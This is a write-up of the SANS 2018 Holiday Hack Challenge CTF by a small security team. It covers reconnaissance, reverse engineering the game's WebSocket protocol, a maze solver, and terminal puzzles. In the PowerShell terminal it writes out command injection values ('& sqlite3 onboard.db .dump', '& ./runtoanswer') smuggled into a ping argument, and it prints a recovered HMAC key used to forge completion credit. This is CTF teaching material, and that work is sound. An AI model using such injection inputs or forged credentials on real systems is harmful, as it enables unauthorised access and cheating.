SANS 2018 Holiday Hack Writeup

Table of Contents


In the following write up of the Holiday Hack Challenge 2018, you’ll find an enthralling take on a story we all know. Sure there is the mystery of Kringle Castle, but there’s also the intrigue of easter eggs, the thrill of unknown escalations, and the allure of a 0day. You’ll also find an automated vent map, the truth behind Rachmaninoff, and some easter eggs of our own.

You’ll feel like you won a Golden Ticket with how easy it is to follow along. The sections along the side expand in an everlasting way, not unlike a Gobstopper, and what presents itself like a piece of gum; small and easily chewed through, but actually fills you up like a three course meal. We lay out the answers off the bat so you can chew into the Wonka Bar-like sweetness right away.

We then move into the pre hack reconnaissance we went through, as if we were watching Nakatomi Plaza before attacking the hack. Linecon had us waiting for our chance to arrive at the Holiday Party and make our presence known. From there, we work our way through the story like Samantha Coleman before we drop into the juicy part of the challenge.

You’ll see the Cranberry Pi Terminal challenges come up next, with a detailed overview. Each one will give the goal and any necessary background needed to begin tackling it (including relevant hints and videos). Feel free to skip right to the Solution (including asciinema videos, that allow you to copy and paste) if you just want to know the answer. If you feel like learning more, we’ll then step you through our thought process in solving the problems, how the challenge was made, and sometimes, an alternate solution. The Summary for each challenge is also a good spot to skip to if you’re short on time as you’ll get a nice, brief idea of what we did. The following Objectives section works almost exactly the same, though leans more on pictures than gifs.

After that is the really good stuff. We managed to escalate privileges on the Snort system, which allowed us to pivot to snortsensor1. There we discovered a 0day in rssh, and exploited a race condition which allowed us to read arbitrary files as root.

We also thought it might be useful to show our entire process, how we worked efficiently as a small team, maybe our ideas will help others. You might also have better ideas and can share your techniques with us, we love to learn and improve!

Some artifacts will be left on our Github as they fit better there and we don’t want to overwhelm you any more than required. See how many easter eggs you can find between this site and the Github!

Happy reading,

The ESnet Security Team

–Dop, Sam and Vlad


  1. What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?

    Happy Trails (Die Hard Reference)

  2. Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?

    John McClane (Die Hard Reference)

  3. The KringleCon Speaker Unpreparedness room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?

  4. Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

    Yippee-ki-yay (Die Hard Reference)

  5. Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name?

  6. What is the access control number revealed by the door authentication panel?

    19880715 (Die Hard Reference)

  7. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?

    Fancy Beaver (Fancy Bear reference)

  8. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

  9. What is the success message displayed by the Snort terminal?

  10. What is the domain name the malware in the document downloads from? (Obfuscated Die Hard reference)

  11. What is the full sentence text that appears on the domain registration success message (bottom sentence)?

  12. What is the password entered in the database for the Vault entry?

    ED#ED#EED#EF#G#F#G#ABA#BA#B (Willy Wonka reference)

  13. What message do you get when you unlock the door?

  14. Who was the mastermind behind the whole KringleCon plan?


Any penetration test starts with reconnaisance on your target. In a typical Capture the Flag (CTF) or other hacking challenge, you're given all this information up-front. However, this step shouldn't be skipped, as it can make the challenge easier.


Identify domain names, hostnames, IP addresses, etc.

Reverse Whois

First, we'll try to identify the domain names being used. Last year, the domain was Every domain name has some ownership information associated with it. We can query this information via a whois lookup:

$ whois
Domain Name:
Registry Domain ID: 2176618950_DOMAIN_COM-VRSN
Registrar WHOIS Server:
Registrar URL:
Updated Date: 2017-10-19T19:29:00Z
Creation Date: 2017-10-19T19:29:00Z
Registrant Organization: Counter Hack
... was registered in October 2017, and the organization is listed as Counter Hack. Using this information, we can also do a "reverse whois" search, where we can see all domains that a given organization is listed as the registrant for:


Figure 1: A reverse whois search for Counter Hack was registered in May, and in July it was opened up for participants to begin signing up, and poking around (more on that below, in "LineCon"). and were registered in October. LineCon gave us a hint about the castle. seems obfuscated.

Domain Name System (DNS)

Armed with the 3 domain names, we'll see what additional information we can glean. DNS attempts to convert between hostnames and IP addresses.

dig +noall +answer ANY         599     IN      A         3599    IN      NS         3599    IN      NS         3599    IN      SOA 2018121800 28800 7200 604800 600         3599    IN      MX      10         3599    IN      MX      20         3599    IN      MX      30         3599    IN      MX      40         3599    IN      MX      50         3599    IN      TXT     "v=spf1 ~all"

There's a lot of information returned, but we can learn that resolves to the IP address, that DNS services are provided by, and that e-mail services are provided through Google Mail. These are "indicators," and can be used to track how a certain actor likes to operate. Domains and IP addresses can change, but tactics often stay the same.

Whois also works on IP addresses, so we can see the ownership of the IP address returned:

NetRange: -
NetName:        GOOGLE-CLOUD

The IP address is owned by Google, and the name of the network implies that it's part of Google's Cloud offerings. Some more digging reveals that was set up the same way.

We can perform similar queries on the other two domains, and we find out the following information:

Domain Purpose Domain Registration Date Domain Registry DNS Provider Mail Provider IP Address IP Owner Last Year's Domain October 19th, 2017 Google n/a Hosts hosted on Google Cloud
       The Kringle Conference May 25th, 2018 Google Google Cloud Unknown: Kringle's Castle? October 12th, 2018 Google n/a Unknown Unknown: Something hidden? October 16th, 2018 Google Google Cloud

Certificate Transparency Logs

After determining the domains for this year's Holiday Hack, we'd like to figure out what systems there are in those domains. A good way of doing this is via Certificate Transparency logs – public logs which serve as an audit mechanism for SSL certificates which are issued, in order to detect mistaken or malicious certificates.

There are several free services which allow you to query these logs. I like using


Figure 2: Certificates for


Figure 3: Certificates for


Since we found several hosts that use SSL certificates, it's a pretty safe bet that they'll be web servers. We can set up monitoring to poll some of these systems, so that we'll know as soon as the contest goes live.


Figure 4: Let the games begin…


IP Address Hostname



Register for the conference, and look for any secrets

Finding a hidden path

While zooming out the browser window, something appeared off to the right:


Figure 5: A secret snow path

Upon visiting the secret path, we could see a castle in the distance.


Figure 6: Kringle Castle?

Client-side tricks to make secrets stand out

To make it easier to see hidden paths, we can use this JavaScript snippet in our browser's Javascript console. To access the console, visit ToolsWeb DeveloperWeb Console in Firefox, and ViewDeveloperJavaScript Console in Chrome.

var i; 
var lava = document.getElementsByClassName('lava');
for ( i = 0; i < lava.length; i++ )
    lava[i].style.background = "pink";

The game uses a special HTML class called "lava" for any element which is "walkable." Our snippet finds all elements which have that class, and then sets their background color to pink.


Figure 7: Making everything pink in the Console


Figure 8: Pink paths!

Game Internals: WebSocket Messages

Using the same Developer Tools, we can start reverse engineering how the game works. As we'll discover, the game relies on WebSocket messages. Firefox currently lacks the ability to view these messages, so it's recommended to use Chrome for this portion.

This time, we'll use the Network tab in the Developer Tools. Network traffic from your browser will be listed here. If this tab wasn't open when the traffic was initiated, nothing will show up, so it's best to have this tab open and then refresh the page, to ensure we see everything. Once we login go the game, we can filter on WebSocket connections by clicking on the WS filter, and then view the Frames tab to see the individual messages:


Figure 9: WebSocket messages

Messages in green are messages that we sent to the server, and the other messages are the replies. By interacting with the game and observing which messages are sent/received, we can slowly learn how to interact with the game without a browser.

Using the new-found knowledge about WebSocket messages, we can create a simple client for the game:

#!/usr/bin/env python3

import asyncio
import simplejson as json
import time
import websockets

async def hello():
    async with websockets.connect('wss://') as websocket:

        # The initial connect message
        await websocket.send('{"type":"WS_CONNECTED","session":null,"protocol":"43ae08fd-9cf2-4f54-a6a6-8454aef59581"}')

        # Wait for OHHIMARK
        while True:
            response = json.loads(await websocket.recv())
            if response['type'] == 'WS_OHHIMARK':

        # Send the login info
        await websocket.send('{"type":"WS_LOGIN","usernameOrEmail":"VG","password":"3j6QMM3grTYYp7jWkie&f"}')

        # Print out everything we get back
        while True:
            response = json.loads(await websocket.recv())


Game Internals: Avatar DNA

As we explored LineCon, one feature that drew our attention was that the appearance of each avatar was encoded as DNA. Using the standard DNA sequence letters (A, T, C, G), pairs of letters would encode the numbers 0-3: E = {AT: "0", TA: "1", GC: "2", CG: "3"}. A neat detail is the fact that these pairs match DNA nucleic-acid pairs (i.e. in the double-helix, A is complementary to T, and C with G).

The avatar is encoded as a 120 character sequence, such as ATATATTAATATATATATATATTAATATATATCGTAGCCGATATATATATATTATAATATATATATATTAGCATATATTAATATATATATATGCATATATATATATATTAGCATATATCG. Once we convert the pairs back to numbers, we get a 60 digit sequence: 000100000001000031230000001100000012000100000020000000120003.

Inspecting the Javascript code, we can see how this sequence gets translated back to an avatar:

C = [
   { name: "size",       size: 4 }, 
   { name: "legs",       size: 8 }, 
   { name: "hue",        size: 8 }, 
   { name: "torso",      size: 8 }, 
   { name: "head",       size: 8 }, 
   { name: "saturation", size: 4 }, 
   { name: "mouth",      size: 8 },
   { name: "eyes",       size: 8 }, 
   { name: "brightness", size: 4 }];

Returning to our example, we can convert the sequence to these fields. A quick way to convert the numerical sequences is using Python's int function with a base of 4: int("0001", 4).

Offset Size Sequence Name Value
0 4 0001 size 1
4 8 00000001 legs 1
12 8 00003123 hue 219
20 8 00000011 torso 5
28 8 00000012 head 6
36 4 0001 saturation 1
40 8 00000020 mouth 8
48 8 00000012 eyes 6
56 4 0003 brightness 3

We can verify our decoding by searching for the names of the color schemes in the Javascript. In the example sequence above, the avatar selection modal used "Flimsy Cappuccino," which we can find defined as: { name: "Flimsy Cappuccino", hue: 219, saturation: 1, brightness: 3 }. An exact match!

Another cool mini-feature is that if you open up the Console tab of your Developer Tools, you can see representations of the DNA sequence:


Figure 10: DNA Sequences in the Console tab

The color scheme is: { A: "yellow", T: "green", C: "teal", G: "red" }. So, in the example above, the top line starts AAAT, and the bottom line is the complementary sequence TTTA.

First Finding: Avatar vulnerability

In the Network tab of the Developer Tools, we can see other resources that are being loaded by the game. One of these is an image, called egg.png:


Figure 11: egg.png

It seems like the game uses this when it can't load an image:

render() {
   const {dna: e, version: t} = this.props;
   if (au.a.validateSequence(e))
      return du.a.createElement("div", { className: "a-wild-missingno-appears" }, 
                                  du.a.createElement("img", { src: "images/egg.png", alt: ":)" }));

While investigating this mysterious image, it was discovered that we could use our WebSocket client to set an invalid avatar for ourselves.

Doing this caused an exception which would render our game completely black and inoperable.

Worse yet, our avatar was being loaded by other players in the game, and it would cause their screens to go black as well.

We quickly set our avatar back to its original state, and reported this issue to the SANS Counter Hack team. They quickly issued a fix for it.


LineCon was a great preview! We prepped some in-browser tricks for making paths or other interesting elements stand out. We wrote a simple Python script which allowed us to interact directly with the game. And we discovered and reported our first vulnerability.



First, we walk around, familiarizing ourselves with the surroundings:



As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of his special visitors to KringleCon.

Your narrative begins when you stop to chat with Santa and he shares the preceding.

Continuing into the castle, you begin to poke around. Once you complete the door passcode challenge and receive the doorpasscode_completed token, you start to notice some suspicious behavior:

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices. The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.

You carry on and help out by finding some secrets in a git repository. This unlocks the datarepohack_completed token. While receiving that, you begin to see something disturbing, the toy soldiers act even more aggressively.

They are searching for something – something very special inside of Santa’s castle – and they will stop at NOTHING until they find it.

Hans seems to be directing their activities. What could they be after? In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure you visit Hans to hear his speech." What could he have to say?

Ladies and Gentlemen…

Due to the North Pole’s legacy of providing coal as presents around the globe …

… they are about to be taught a lesson in the real use of POWER.

You will be witnesses.

Now, Santa… that’s a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.

I have comrades in arms around the world who are languishing in prison.

The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.

The following people are to be released from their captors.

In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.

In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.

In the Land of Oz, Glinda the Good Witch.

All of a sudden, all of the toy soldiers are similarly taken by Die Hard references:



Nein! Nein! Nein!

No one is coming to help you.

Get the over here!


As you keep digging for secrets trying to figure out just what’s going on here, you break into the domain and get the domainhack_completed token. This reveals another, even more sinister sight:

The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases. Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."

The elves are panicking:

Oh my! Santa’s castle… it’s under siege!

We’re trapped inside and can’t leave.

The toy soldiers are blocking all of the exits!

We are all prisoners!

That is worrisome, but even more so when you start to hear, "A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, 'What do you think someone could do with that?'"

Quickly trying to help out and save the castle from attack, you find an example badge used to beat the qrcode Scan-O-Matic objective. Finding a way to trick your way through this badge reader to earn your qrcode_completed token, you hear, "Congratulations! You have gained access to Santa's secret room." This is great, but then you quickly learn that, "Hans has started monologuing again. Please visit him in Santa's lobby for a status update."

Our captor tells us:

So, you’ve figured out my plan – it’s not about freeing those prisoners.

The toy soldiers and I are here to steal the contents of Santa’s vault!

You think that after all my posturing, all my little speeches, that I’m nothing but a common thief.

But, I tell you – I am an exceptional thief.

And since I've moved up to kidnapping all of you, you should be more polite!

As you go listen to Hans, you notice a vent cover that seems… not quite right. As you wonder where this maze of a vent system could take you, you eventually find your way out. This unlocks the ventmaze_completed token and you find yourself in a new room. "Great work! You have blocked access to Santa's treasure… for now. Please visit Hans in Santa's Secret Room for an update." As you approach Hans, "…suddenly, Hans slips and falls into a snowbank [editor’s note: that is strangely located inside this secret, third story room hidden in a castle]. His nefarious plan thwarted, he's now just cold and wet." Things are starting to look up, "But Santa still has more questions for you to solve!"

You need to find Santa to see if you can answer his questions. Your eye lands on a door you couldn’t have seen before. It won’t open and has some strange musical lock on it. After struggling with it, you finally defeat the lock and collect the pianolock_completed token. With this, you are able to enter this final hidden room and talk to Santa.

Congrats! You have solved the hardest challenge! Please visit Santa and Hans inside Santa's Secret Room for an update on your amazing accomplishment!

The elves say "YAY! You won!", and Hans and the now hat-less toy soldiers join in on congratulating us. Santa explains:

You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!

You see, I finally found you!

I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.

That’s why we had so many different challenges this year.

We needed to find someone with skills all across the spectrum.

I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.

And you did!

Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.

See what happens when they take off those hats?

Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.

And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.

You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?

They lived happily ever after.

Walking back out of these once secret rooms, as you leave the castle and hear Jason the plant's lament of psmitty, you realize that instead of snaking through the arduous, confusing maze of vents, you could have won the elfhrhack_completed token and gotten the same access, and heard the same information. Oh well, you saved the day, and what action hero are you really if you don’t come out looking bloodied and dirtied like this at the end?


Bonus: Crawling through the Vents

Now I know what a TV dinner feels like. —John McClane

Solution 1: Manually Crafted Vent Maze

On the left side of the lobby in Santa's Castle is a large air vent that's large enough to crawl through, upon entering it's soon clear that this is a maze. This can be solved manually by carefully crafting a map during an hour long meeting (not that anyone would do that).


Solution 2: Recover Map from Git Repository

In Objective 4, we manage to recover a map from the GitLab server.

Solution 3: Automated Maze Solver

Perhaps the most fun way to solve the maze is programmatically. To move, your browser sends a request like:

Breaking that out to be more clear:

Field Value Meaning
heading w Current heading: n=north, w=west, s=south, e=east
mazex 23 Current X coordinate
mazey 19 Current Y coordinate
mazef 1 Current maze floor
playeraction forward Potentially valid options: forward, backward, up, down
locationkey ba49a09644aa8fa7fb0082e935f46521 The unique location id key for where you currently are
resourceid inigomontoya Never changes, clearly a reference to The Princess Bride

It's important to note that every location on the vent map has a unique locationkey. So we can't just sent a request for every possible x,y,f position without traversing the maze and learning the location keys. Assuming you send an action that moves you to a valid location, the server response will include a number of variables outlining your current state:

window.onload = function() {


  //next section depends on player state
  document.getElementById("mazeform").elements.namedItem("heading").value = "w";
  document.getElementById("mazeform").elements.namedItem("mazex").value = "22";
  document.getElementById("mazeform").elements.namedItem("mazey").value = "19";
  document.getElementById("mazeform").elements.namedItem("mazef").value = "1";
  document.getElementById("mazeform").elements.namedItem("locationkey").value = "07edf09b26a307b9fe4f40bedffe76ed";
  document.getElementById("mazeform").elements.namedItem("resourceid").value = "inigomontoya";
  document.getElementById("wallform").elements.namedItem("northwall").value = "True";
  document.getElementById("wallform").elements.namedItem("southwall").value = "True";
  document.getElementById("wallform").elements.namedItem("eastwall").value = "False";
  document.getElementById("wallform").elements.namedItem("westwall").value = "False";

  wallcheck();  //render correct walls once state is known

The important parts here are the True/False value of the four walls, which gives us valid headings, and the locationkey for our new coordinates. The size of the response is generally within a few bytes (3509-3514) which can be used to help find locations that aren't like the others, like the shaft to the second floor and the exit. In these cases the response size changes as well as the arrow-up/arrow-down elements may be visible instead of hidden.

A Python script was written to automatically solve the maze by always going right. It generates a map with the following final output. 'S' is the starting location, 'U' and 'D' represent up and down possibilities, and 'X' marks the current location: the exit.

U.███████.█████.█.█.███    D████████..............
█.█.....█.█...█.█.█...█    ......█.█..............
███.....█████.█████████    █████.█.█..............
............█..........    ....█.█.█..............
............███.███.███    █.█.█.█.█...........███
..............█...█...█    █.█.█...█...........█.█
..............█.█.█.█.█    ███.█.███...........█.X
..............█.█.█.█.█    █.█.█.█.............█..
..............███.█.█.█    █.█.███.......█████████
................█.█.█.█    █.█.█.........█.....█..
................███.███    █.█.█.......███.█.█████
..................█.█..    █...█.......█...█.█...█
............█████████.█    ███████████████.█.███.█
............█.█.█.....█    █.█.......█.█.█.█...█..
............█.█.███████    █.█.███.███.█.█.█████.█
............█.......█..    █.....█.█.......█...█.█
............█████.█████    ███.███████.█████.█.███
................█......    █...█...........█.█.█.█
................██████S    █.███.█████████████.█.█
    <script src="./conduit.js"></script>
        __POST_RESULTS__({ hash:"9ab70b3f354515c18885f34e7ac903eedcac2f93d1b28de249e3222ff7f83db9", 
                           resourceId: "inigomontoya"});
</head><body><h1><font color="green">Congratulations!</body></html>

Exiting the vent maze you end up in Santa's Secret Room. The other way to get there is through the Scan-o-matic challenge.

Cranberry Pi Terminals


As we walk around, we can find various terminals, and as we talk to the elves standing near them, we get some hints.

Terminal Direct URL Elf Hint Location
Essential Editor Skills viescape Bushy Evergreen Indiana University Vi Tutorials East side of Lobby
The Name Game pwshmenu Misty Candycane PowerShell Command Injection SQLite3 .dump'ing West side of Lobby
Lethal ForensicELFification viminfo Tangle Coalbox Vim Artifacts East Hall Corridor
Stall Mucking Report plaintext-creds Wunorse Openslae Plaintext Credentials in Commands East Wing
CURLing Master http2 Holly Evergreen HTTP/2.0 Basics West Wing
Yule Log Analysis spray-detect Pepper Minstix Password Spraying East Hall Proper
Dev Ops Fail gitpasshist Sparkle Redberry Finding Passwords in Git Git Cheat Sheet West side of Balcony
Python Escape from LA python_docker_challenge SugarPlum Mary Python Escape (Check out Mark Baggett's talk upstairs) West side of Balcony
The Sleighbell Lottery unlinked-function Shinny Upatree Using gdb to Call Random Functions! East side of Balcony

Essential Editor


Quit the vim editor.


  • Elf Chat

    Bushy Evergreen tells us the following:

    Hi, I'm Bushy Evergreen.

    I'm glad you're here, I'm the target of a terrible trick.

    Pepper says his editor is the best, but I don't understand why.

    He's forcing me to learn vi.

    He gave me a link, I'm supposed to learn the basics.

    Can you assist me with one of the simple cases?

  • Badge Hint

    Once Bushy tells us the above, we get the following hint: Indiana University Vi Tutorials

  • Relevant KringleCon Videos



When we login, we're presented with the following screen:

I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
Her editor's confusing, though "best" she says - she yells!
My lesson one and your role is exit back to shellz.

-Bushy Evergreen

Exit vi.


This can be easily solved with the hint from Bushy Evergreen. As the page says, to exit, hit Esc, then type :q!<Enter>. Escape ensures that vi is in command mode, q is the command for quit, and the exclamation point instructs it to not warn us about any unsaved changes.

Game Internals: How it was made

The Docker terminals drop us into a terminal with our Bash shell running. Normally when Bash is running, it will read some configuration files on startup, including .bashrc in the user's home directory. Inspecting our .bashrc, we see the following two lines at the bottom:

vim .message

When Bash starts, it runs vim, opening the file .message. Whenever vim exits, it runs /usr/local/bin/successfulescape.

Using our technique to reverse engineer binaries, we can recover this script. The main logic of the script is:

if checkvimps() == False:
    hmac256 = calcHmac(key, RESOURCEID)
    printResponse(hmac256, RESOURCEID)
    print('\nYou did it! Congratulations!\n')
    print('Hmm.  I think vim is still running...')

The checkvimps function will actually make sure that no process named vi is running. So, even if you had called successfulescape from within vim, you would not receive credit.

def checkvimps():
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
    for pid in pids:
            if open(os.path.join('/proc', pid, 'comm'), 'rb').read()[0:2] == 'vi':
                return True
        except IOError:

    return False

The final noteworthy portion of this script is calculating the HMAC which is sent to the game server to receive credit for completion of this challenge. The HMAC algorithm is discussed in detail in Appendix 2 However, the source code does reveal the HMAC key:

key = '2bb6b9c702834095a9c3284e053da124'


We escaped vim by giving the quit command. We then showed how vim was being started upon login, and how we received credit for completing it. We successfully reverse-engineered the successfulescape binary, and recoved the HMAC key, so now we can receive credit without ever solving the challenge at all.

Powershell Name Game


To solve this challenge, determine the new worker's first name and submit to runtoanswer.


  • Elf Chat

    Minty tells us:

    Can you help me? I'm in a bit of a fix.

    I need to make a nametag for an employee, but I can't remember his first name.

    Maybe you can figure it out using this Cranberry Pi terminal?

    The Santa's Castle Onboarding System? I think it's written in PowerShell, if I'm not mistaken.

    PowerShell itself can be tricky when handling user input. Special characters such as & and ; can be used to inject commands.

    I think that system is one of Alabaster's creations.

    He's a little … obsessed with SQLite database storage.

    I don't know much about SQLite, just the .dump command.

  • Badge Hint

    Talking to Minty unlocks two hints: PowerShell Call/& Operator and SQLite3 Data Dump.

  • Relevant KringleCon Videos



When we launch the Cranberry Pi, we see:

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.

Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"

-Bushy Evergreen

To solve this challenge, determine the new worker's first name and submit to runtoanswer.

=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =

 Press  1 to start the onboard process.
 Press  2 to verify the system.
 Press  q to quit.

Please make a selection: 


Given the hints, it sounds like our penultimate step is to dump the data from SQLite, and look for someone named Chan. The Powershell menu presents us with three options:

Press  1 to start the onboard process.
Press  2 to verify the system.
Press  q to quit.

Maybe we're on a quitting streak after the first terminal, but we start by trying to get to a command prompt directly, and hit q to quit. Unfortunately, that hangs the terminal, and we can't type anything else.

Reloading, and trying again, we do the onboard process. Minty mentioned trying to give Powershell tricky characters, like ; and &:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: Minty;
Enter your last name.
: Candy Cane &
Enter your street address (line 1 of 2).
: 221B Baker Street;
Enter your street address (line 2 of 2).
: NW1 6XE;
Enter your city.
: London;
Enter your postal code.
: NW1 6XE;
Enter your phone number.
: 8175309;
Enter your email address.
Is this correct?
Minty; Candy Cane &
221B Baker Street;
NW1 6XE;
London;, NW1 6XE;
y/n: y
Save to sqlite DB using command line
Press Enter to continue...: 

No luck. Once we hit enter, we're back in the main menu. We'll move on to the last unexplored option, verifying the system.

Validating data store for employee onboard information.
Enter address of server:
connect: Network is unreachable
onboard.db: SQLite 3.x database
Press Enter to continue...: 

# Try again...

Validating data store for employee onboard information.
Enter address of server:
connect: Network is unreachable
onboard.db: SQLite 3.x database
Press Enter to continue...: 

# One more attempt:

Validating data store for employee onboard information.
Enter address of server: localhost
PING localhost ( 56(84) bytes of data.
64 bytes from localhost ( icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from localhost ( icmp_seq=2 ttl=64 time=0.060 ms
64 bytes from localhost ( icmp_seq=3 ttl=64 time=0.061 ms
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2045ms
rtt min/avg/max/mdev = 0.036/0.052/0.061/0.013 ms
onboard.db: SQLite 3.x database

So, the verification pings the server you give it, and then checks the onboard.db file. Once again, let's try giving it some potentially troublesome characters:

Validating data store for employee onboard information.
Enter address of server: &
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination
onboard.db: SQLite 3.x database
Press Enter to continue...: 

# Try again...

Validating data store for employee onboard information.
Enter address of server: ;
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination
onboard.db: SQLite 3.x database
Press Enter to continue...: 

Submitting & and ; behave the same – we see the usage information for ping. It's the same output we would see if we called ping without any arguments. One of the pages that Minty linked us to said that we can use the & operator in Powershell to call other commands. Let's try it:

Validating data store for employee onboard information.
Enter address of server: & ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1  onboard.db  runtoanswer
onboard.db: SQLite 3.x database
Press Enter to continue...: 

It's a bit hard to see in the output, but we have a different line from the time before: menu.ps1 onboard.db runtoanswer. This would be the output from our ls command.

At this point, we can exit the Powershell menu and run our own commands. Now we can dump the SQLite database, using the tips in the second link that Minty provided:

Validating data store for employee onboard information.
Enter address of server: & sqlite3 onboard.db .dump
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination
PRAGMA foreign_keys=OFF;
CREATE TABLE onboard (
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
INSERT INTO "onboard" VALUES(10,'Karen','Duck','52 Annfield Rd',NULL,'BEAL','DN14 7AU','077 8656 6609','');
INSERT INTO "onboard" VALUES(11,'Josephine','Harrell','3 Victoria Road',NULL,'LITTLE ASTON','B74 8XD','079 5532 7917','');
INSERT INTO "onboard" VALUES(12,'Jason','Madsen','4931 Cliffside Drive',NULL,'Worcester','12197','607-397-0037','');
INSERT INTO "onboard" VALUES(13,'Nichole','Murphy','53 St. John Street',NULL,'Craik','S4P 3Y2','306-734-9091','');
INSERT INTO "onboard" VALUES(14,'Mary','Lyons','569 York Mills Rd',NULL,'Toronto','M3B 1Y2','416-274-6639','');

Success! But it's hard to find Chan in all of that. Let's see if we can pass our output to the grep command, returning only lines that contain "Chan."

Validating data store for employee onboard information.
Enter address of server: & sqlite3 onboard.db .dump | grep Chan
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067','4017533509','');
onboard.db: SQLite 3.x database
Press Enter to continue...: 

Great. We now have one final hurdle – we need to call runtoanswer and answer the question. The same technique works there too:

Validating data store for employee onboard information.
Enter address of server: & ./runtoanswer
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
	    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
	    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
	    [-w deadline] [-W timeout] [hop1 ...] destination

Loading, please wait......

Enter Mr. Chan's first name: Scott

 OMMMMMMMMMMMMW:  .. ;MMMk'     .NMX:.  .  .lWO         d         xMMMMMMMMMMMW 


onboard.db: SQLite 3.x database
Press Enter to continue...: 



This was classic command injection. There were a few other techniques that could've worked here, including using a semicolon instead of the ampersand (e.g. ; ./runtoanswer).

We also discovered that the menu.ps1 script had an unlisted option:

$input = Read-Host 'Please make a selection'
switch ($input)
    '1' {
    } '2' {
        Write-Host "Validating data store for employee onboard information."
        $server = Read-Host 'Enter address of server'
        /bin/bash -c "/bin/ping -c 3 $server"
        /bin/bash -c "/usr/bin/file onboard.db"
    } '9' {
    } 'q' {
    } default {
        Write-Host "Invalid entry."

Hitting option 9 drops us into a Powershell shell:

Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.
Type 'help' to get help.
PS /home/elf> ./runtoanswer                                                                                                                                                                                                       

Loading, please wait......


The onboarding Powershell script was vulnerable to command injection. By running a command to dump the database, we found our guy, and were able to successfully call runtoanswer. Furthermore, by inspecting the Powershell source code, we discovered a hidden backdoor in the menu.

Vim ForensicELFification


Find the first name of the elf of whom a love poem was written.


  • Elf Chat

    Tangle Coalbox helps us by saying:

    Hi, I'm Tangle Coalbox.

    Any chance you can help me with an investigation?

    Elf Resources assigned me to look into a case, but it seems to require digital forensic skills.

    Do you know anything about Linux terminal editors and digital traces they leave behind?

    Apparently editors can leave traces of data behind, but where and how escapes me!

  • Badge Hint

